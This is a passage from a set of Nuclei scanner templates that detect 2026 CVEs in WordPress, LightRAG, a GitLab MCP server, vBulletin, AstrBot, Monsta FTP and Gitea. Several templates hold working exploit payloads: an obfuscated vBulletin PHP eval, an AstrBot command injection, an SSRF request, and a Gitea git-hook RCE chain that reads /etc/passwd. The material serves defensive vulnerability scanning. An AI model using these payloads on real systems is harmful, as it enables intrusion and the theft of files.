body=\"/wp-content/plugins/user-registration/\" && title=\"WordPress\"\n  tags: cve,cve2026,wp,wordpress,wp-plugin,user-registration,open-redirect\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/user-registration/readme.txt\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"User Registration\")'\n        condition: and\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?user-logout=true&redirect_to_on_logout=https://interact.sh\"\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 302\n\n      - type: word\n        part: header\n        words:\n          - \"Location: https://interact.sh\"\n# digest: 4a0a00473045022100f4dd1d0224c2563c24d860694a2553abce966beab61b5e84a61b9b137c6a15d902207ee80de02686f091d722e58e54491440a980056391d0c652bc16bfebb7f717cd:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-6203.yaml","vuln_id":"cve-2026-6203"},{"raw":"id: CVE-2026-61808\n\ninfo:\n  name: LightRAG <= 1.5.4 - Missing Authentication\n  author: str4k3r\n  severity: high\n  description: |\n    LightRAG through version 1.5.4 contains a broken access control vulnerability caused by the API server binding to all network interfaces with authentication disabled, letting unauthenticated network attackers fully control indexed documents and resources, exploit requires network access.\n  impact: |\n    Unauthenticated attackers can read, modify, delete documents, and consume resources, leading to full system compromise and denial of service.\n  remediation: |\n    Update to version 1.5.5rc1 or later.\n  reference:\n    - https://github.com/HKUDS/LightRAG/security/advisories/GHSA-mmg5-8x8q-v934\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-61808\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: hkuds\n    product: lightrag\n    shodan-query: http.html:\"LightRAG\"\n    fofa-query: body=\"LightRAG\"\n  tags: cve,cve2026,lightrag,lfi,traversal,ai\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /health HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(tolower(body), \"healthy\", \"lightrag\", \"status\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /documents HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"statuses\", \"content_summary\", \"file_path\")'\n        condition: and\n# digest: 490a0046304402200af8e3fbcb6782ee7071df72d00a4e74b8df50cd58a10c682cf889f82341b01102203ccb4c95e97f30e01e4c118f3ad8a2cb503557ad0982714dc8541551bca8eb05:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-61808.yaml","vuln_id":"cve-2026-61808"},{"raw":"id: CVE-2026-61736\n\ninfo:\n  name: LightRAG <= 1.5.3 - Credentialed CORS Wildcard\n  author: str4k3r\n  severity: high\n  description: |\n    LightRAG <= 1.5.4 contains a broken access control vulnerability caused by default CORS_ORIGINS=* with allow_credentials=True in lightrag_server.py, letting malicious websites perform authenticated API requests, exploit requires authenticated user.\n  impact: |\n    Malicious websites can perform authenticated API requests to exfiltrate or delete data, leading to data loss and information disclosure.\n  remediation: |\n    Update to version 1.5.4 or later.\n  reference:\n    - https://github.com/HKUDS/LightRAG/security/advisories/GHSA-6x6h-qqr7-855w\n    - https://github.com/HKUDS/LightRAG/commit/09567a4c983f580050db63569dd477122c058c3d\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-61736\n  classification:\n    cve-id: CVE-2026-61736\n    epss-score: 0.01422\n    epss-percentile: 0.72953\n    cwe-id: CWE-942\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N\n    cvss-score: 9.3\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: hkuds\n    product: lightrag\n    shodan-query: http.html:\"LightRAG\"\n    fofa-query: body=\"LightRAG\"\n  tags: cve,cve2026,lightrag,cors,misconfig\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(tolower(body), \"lightrag\", \"light-rag\", \"knowledge graph\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        OPTIONS /query HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{cors_origin}}\n        Access-Control-Request-Method: POST\n        Access-Control-Request-Headers: authorization,content-type\n\n    payloads:\n      cors_origin:\n        - \"https://{{tolower(rand_base(5))}}.com\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(tolower(header), \"access-control-allow-origin: {{cors_origin}}\")'\n          - 'contains(tolower(header), \"access-control-allow-credentials: true\")'\n        condition: and\n# digest: 4b0a00483046022100d89305f6bb3b8a2d6ace7eb394cd63cfb6b613b3094dbee707fd6bfd307f3999022100e46ea78a824f4a36dba9ecca3ebd848f656a9bcd342794ed686bb7c589a54ac0:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-61736.yaml","vuln_id":"cve-2026-61736"},{"raw":"id: CVE-2026-61560\n\ninfo:\n  name: GitLab MCP Server < 2.1.27 - Unauthenticated SSE Transport Access\n  author: ashish-cybersec\n  severity: critical\n  description: |\n    The @zereight/mcp-gitlab GitLab MCP server exposes its SSE transport endpoints without any authentication when SSE mode is enabled. An unauthenticated attacker with network access can establish an MCP session and invoke every registered tool, including upload_markdown, which reads arbitrary files from the server filesystem via an unsanitized file_path parameter.\n  impact: |\n    Unauthenticated attackers can invoke all MCP tools exposed by the server, read arbitrary local files including /proc/self/environ, and recover the configured GITLAB_PERSONAL_ACCESS_TOKEN, leading to full GitLab account takeover.\n  remediation: |\n    Update to @zereight/mcp-gitlab 2.1.27 or later, set SSE_AUTH_TOKEN, and bind the service to a loopback address.\n  reference:\n    - https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-cv3r-c5h8-f4g5\n    - https://github.com/zereight/gitlab-mcp/commit/e436ee4ad067b64584ec9312c9e9c9a2641c1976\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-61560\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-61560\n    epss-score: 0.02901\n    epss-percentile: 0.86987\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: zereight\n    product: gitlab-mcp\n    shodan-query: http.html:\"\\\"transport\\\":\\\"sse\\\"\"\n  tags: cve,cve2026,mcp,gitlab,auth-bypass,exposure\n\nvariables:\n  session: \"{{rand_text_alpha(8)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /health HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'contains_all(body, \"\\\"transport\\\":\\\"sse\\\"\", \"\\\"status\\\":\\\"healthy\\\"\")'\n          - 'status_code == 200'\n        condition: and\n\n  - raw:\n      - |\n        POST /messages?sessionId={{session}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"No transport found for sessionId\")'\n          - 'status_code == 400'\n        condition: and\n# digest: 490a004630440220635aa3c0cb493961efc4984cc49660c750119c54036d4a6bd7b7ce8e690bf1e8022002d4dc3e54b33447cbf71f4c39eceefe4f868af90f23ff6fdc2a41b7e8ec2213:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-61560.yaml","vuln_id":"cve-2026-61560"},{"raw":"id: CVE-2026-61511\n\ninfo:\n  name: vBulletin 6.x - Remote Code Execution\n  author: alex700,0x_Akoko\n  severity: critical\n  description: |\n    vBulletin 5.x through 5.7.5 and 6.x through 6.2.1 contain an eval injection vulnerability caused by insufficiently restrictive regex filtering in vB5_Template_Runtime::runMaths(), letting unauthenticated remote attackers execute arbitrary PHP code via the pagenav[pagenumber] parameter in ajax/render template route.\n  impact: |\n    Unauthenticated remote attackers can execute arbitrary PHP code, potentially leading to full system compromise.\n  remediation: |\n    Update to a version later than 5.7.5 for 5.x and later than 6.2.1 for 6.x or the latest available version.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-61511\n    - https://github.com/shootcannon/CVE-2026-61511\n  classification:\n    cve-id: CVE-2026-61511\n    epss-score: 0.05607\n    epss-percentile: 0.92938\n    cwe-id: CWE-94\n  metadata:\n    max-request: 1\n    verified: true\n    vendor: vbulletin\n    product: vbulletin\n    shodan-query: http.favicon.hash:-601665621 http.component:\"vBulletin\"\n    fofa-query: body=\"Powered by vBulletin\"\n  tags: cve,cve2026,vbulletin,rce,unauth,vkev\n\nhttp:\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        routestring=ajax/render/pagenav&pagenav[pagenumber]=(((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(5)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(2).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(5)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(6)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(9)))((((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((9).(9)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(4)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((3).(2)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(8)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((9).(8)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((5).(4)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(4)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((9).(9)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(2)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(4)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((9).(8)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(1))))\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"vb6rceprobe\")'\n        condition: and\n# digest: 490a00463044022034f2cb7624750422d57eebac36709a903eb8dd7adb6afbfe5bd35d48e04d18e2022022d91b90ddddf7750d8130691ee81f85a6565e59d06a7e4f4741c8e5a731f419:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-61511.yaml","vuln_id":"cve-2026-61511"},{"raw":"id: CVE-2026-6118\n\ninfo:\n  name: AstrBot <= 4.22.1 - Command Injection\n  author: jyoti369\n  severity: high\n  description: |\n    AstrBot versions up to and including 4.22.1 contain a command injection vulnerability in the MCP server configuration endpoint. The /api/tools/mcp/add endpoint accepts arbitrary command and args fields that are passed directly to subprocess execution during the connection test, without any validation or allowlist enforcement. An attacker with dashboard access can execute arbitrary system commands with AstrBot process privileges.\n  impact: |\n    Authenticated attackers can execute arbitrary system commands, leading to full server compromise, data exfiltration, and lateral movement.\n  remediation: |\n    Upgrade AstrBot to version 4.22.2 or later which introduces command allowlisting and validation. Change default dashboard credentials immediately.\n  reference:\n    - https://github.com/AstrBotDevs/AstrBot/issues/7169\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-6118\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2026-6118\n    epss-score: 0.02533\n    epss-percentile: 0.84979\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: AstrBotDevs\n    product: AstrBot\n    shodan-query: title:\"AstrBot\"\n  tags: cve,cve2026,astrbot,rce,oast,authenticated\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /api/auth/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"username\":\"{{username}}\",\"password\":\"{{md5(password)}}\"}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"token\"'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: token\n        part: body\n        group: 1\n        regex:\n          - '\"token\"\\s*:\\s*\"([^\"]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/tools/mcp/add HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{token}}\n\n        {\"name\":\"{{randstr}}\",\"command\":\"nslookup\",\"args\":[\"{{interactsh-url}}\"],\"active\":false}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"status\", \"MCP connection test failed\")'\n          - 'contains(interactsh_protocol, \"dns\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a004730450220338a118f5055e97ccf3a4f6f7fbd10538ce31d990c53c2dfc161a88bcb48e92902210096edfa35e52b1a3e37d0a60617396d3683bb2b4bc843c21a259f7f749852a792:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-6118.yaml","vuln_id":"cve-2026-6118"},{"raw":"id: CVE-2026-60105\n\ninfo:\n  name: Monsta FTP <= 2.14.4 - Unauthenticated SSRF via IPv6 Blocklist Bypass\n  author: chocapikk,DhiyaneshDk\n  severity: high\n  description: |\n    Monsta FTP before 2.14.5 contains a server-side request forgery vulnerability in the fetchRemoteFile action caused by an incomplete IP blocklist check in the isBlockedIP() function, which fails to detect embedded IPv4 addresses within IPv4-mapped IPv6 addresses.\n  impact: |\n    An unauthenticated attacker can obtain a CSRF token from the public getSystemVars endpoint and submit a fetchRemoteFile request with a source URL resolving to an IPv4-mapped address, causing the server to issue HTTP requests to internal services and write responses to an attacker-controlled FTP destination, enabling retrieval of cloud instance metadata credentials.\n  remediation: Upgrade to Monsta FTP 2.14.5 or later.\n  reference:\n    - https://www.vulncheck.com/blog/monsta-ftp-ssrf-ipv6-blocklist-bypass\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2026-60105\n    epss-score: 0.01514\n    epss-percentile: 0.74567\n    cwe-id: CWE-918,CWE-184\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: monsta\n    product: monsta-ftp\n    shodan-query: http.html:\"Monsta FTP\"\n    fofa-query: body=\"Monsta FTP\"\n  tags: cve,cve2026,monsta,ftp,ssrf,oob,unauth,vkev\n\nflow: http(\"get-csrf\") && http(\"ssrf-probe\")\n\nhttp:\n  - id: get-csrf\n    raw:\n      - |\n        POST /mftp/application/api/api.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        request={\"actionName\":\"getSystemVars\",\"context\":{}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: word\n        words:\n          - \"csrfToken\"\n        internal: true\n\n    extractors:\n      - type: regex\n        name: csrf_token\n        regex:\n          - '\"csrfToken\"\\s*:\\s*\"([a-f0-9]+)\"'\n        group: 1\n        internal: true\n\n  - id: ssrf-probe\n    raw:\n      - |\n        POST /mftp/application/api/api.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-CSRF-Token: {{csrf_token}}\n\n        request={\"actionName\":\"fetchRemoteFile\",\"connectionType\":\"ftp\",\"configuration\":{\"host\":\"{{interactsh-url}}\",\"port\":21,\"username\":\"anonymous\",\"password\":\"anonymous@\",\"passive\":true},\"context\":{\"source\":\"http://{{interactsh-url}}/ssrf-probe\",\"destination\":\"/\"}}\n\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n          - \"http\"\n        condition: or\n# digest: 4a0a00473045022100a22b850a3f6caddac8193a0742a0ead99d02273fbbd6fb56bc5b8920d85e2fcb02203bc18ae41155e8d2e95fbbeb322a2fe9b22f37a75d222861fd1b0a15eece16b0:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-60105.yaml","vuln_id":"cve-2026-60105"},{"raw":"id: CVE-2026-60004\n\ninfo:\n  name: Gitea <= 1.27.0 - Pre-Auth Remote Code Execution\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    Gitea versions 1.17 through 1.27.0 contain a remote code execution vulnerability in the diffpatch endpoint caused by an add/add collision that writes an executable Git hook into the bare repository's GIT_DIR. An attacker with write access can execute arbitrary commands as the Gitea service account, exploit requires only open registration for unauthenticated access.\n  impact: |\n    Attackers can execute arbitrary commands as the Gitea service account, potentially compromising the entire server and all hosted repositories.\n  remediation: |\n    Update to Gitea version 1.27.1 or later.\n  reference:\n    - https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m\n    - https://github.com/EQSTLab/CVE-2026-60004\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-60004\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-60004\n    epss-score: 0.23988\n    epss-percentile: 0.97847\n    cwe-id: CWE-94\n  metadata:\n    max-request: 9\n    verified: true\n    vendor: go-gitea\n    product: gitea\n    shodan-query: \"Gitea\"\n    fofa-query: app=\"Gitea\"\n  tags: cve,cve2026,gitea,rce,intrusive,kev,vkev\n\nvariables:\n  ruser: \"testpoc{{rand_int(10000,99999)}}\"\n  rpass: \"T3stP0c!{{rand_int(10000,99999)}}\"\n  remail: \"testpoc{{rand_int(10000,99999)}}@test.local\"\n  rrepo: \"poc-{{rand_int(10000,99999)}}\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)\n\nhttp:\n  - raw:\n      - |\n        GET /user/sign_up HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"user_name\") || contains(body, \"sign_up\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: csrf\n        part: body\n        group: 1\n        regex:\n          - 'name=\"_csrf\"\\s+content=\"([^\"]+)\"'\n          - 'name=\"_csrf\"\\s+value=\"([^\"]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /user/sign_up HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        _csrf={{csrf}}&user_name={{ruser}}&email={{remail}}&password={{rpass}}&retype={{rpass}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302 || status_code == 303'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/user/repos HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json\n        Authorization: Basic {{base64(ruser + \":\" + rpass)}}\n\n        {\"name\":\"{{rrepo}}\",\"private\":true,\"auto_init\":true,\"default_branch\":\"main\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 201'\n        internal: true\n\n  - raw:\n      - |\n        GET /api/v1/repos/{{ruser}}/{{rrepo}}/branches/main HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n        Authorization: Basic {{base64(ruser + \":\" + rpass)}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'len(branch_sha) > 0'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: branch_sha\n        json:\n          - '.commit.id'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json\n        Authorization: Basic {{base64(ruser + \":\" + rpass)}}\n\n        {\"content\": \"diff --git a/hooks/post-index-change b/hooks/post-index-change\\nnew file mode 100755\\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\\n--- /dev/null\\n+++ b/hooks/post-index-change\\n@@ -0,0 +1,14 @@\\n+#!/bin/sh\\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\\n+origin_objects=$(sed -n \\\"1p\\\" \\\"$git_dir/objects/info/alternates\\\") || exit 2\\n+case \\\"$origin_objects\\\" in\\n+  /*) ;;\\n+  *) origin_objects=\\\"$git_dir/objects/$origin_objects\\\" ;;\\n+esac\\n+origin_git=${origin_objects%/objects}\\n+[ \\\"$origin_git\\\" != \\\"$origin_objects\\\" ] || exit 3\\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\\\"$origin_git\\\" hash-object -w --stdin) || exit 4\\n+tree=$(printf \\\"100644 blob %s\\\\\\\\tproof\\\\\\\\n\\\" \\\"$output_blob\\\" | git --git-dir=\\\"$origin_git\\\" mktree) || exit 5\\n+commit=$(printf \\\"rce proof\\\\\\\\n\\\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\\\"$origin_git\\\" commit-tree \\\"$tree\\\") || exit 6\\n+git --git-dir=\\\"$origin_git\\\" update-ref refs/heads/rce-proof \\\"$commit\\\" || exit 7\\n+exit 0\\n\", \"message\": \"apply-1\", \"branch\": \"main\", \"sha\": \"{{branch_sha}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 201'\n          - 'len(commit_sha1) > 0'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: commit_sha1\n        json:\n          - '.commit.sha'\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json\n        Authorization: Basic {{base64(ruser + \":\" + rpass)}}\n\n        {\"content\": \"diff --git a/hooks/post-index-change b/hooks/post-index-change\\nnew file mode 100755\\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\\n--- /dev/null\\n+++ b/hooks/post-index-change\\n@@ -0,0 +1,14 @@\\n+#!/bin/sh\\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\\n+origin_objects=$(sed -n \\\"1p\\\" \\\"$git_dir/objects/info/alternates\\\") || exit 2\\n+case \\\"$origin_objects\\\" in\\n+  /*) ;;\\n+  *) origin_objects=\\\"$git_dir/objects/$origin_objects\\\" ;;\\n+esac\\n+origin_git=${origin_objects%/objects}\\n+[ \\\"$origin_git\\\" != \\\"$origin_objects\\\" ] || exit 3\\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\\\"$origin_git\\\" hash-object -w --stdin) || exit 4\\n+tree=$(printf \\\"100644 blob %s\\\\\\\\tproof\\\\\\\\n\\\" \\\"$output_blob\\\" | git --git-dir=\\\"$origin_git\\\" mktree) || exit 5\\n+commit=$(printf \\\"rce proof\\\\\\\\n\\\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\\\"$origin_git\\\" commit-tree \\\"$tree\\\") || exit 6\\n+git --git-dir=\\\"$origin_git\\\" update-ref refs/heads/rce-proof \\\"$commit\\\" || exit 7\\n+exit 0\\n\", \"message\": \"apply-2\", \"branch\": \"main\", \"sha\": \"{{commit_sha1}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 201'\n        internal: true\n\n  - raw:\n      - |\n        GET /api/v1/repos/{{ruser}}/{{rrepo}}/raw/proof?ref=rce-proof HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic {{base64(ruser + \":\" + rpass)}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"root:\")'\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - 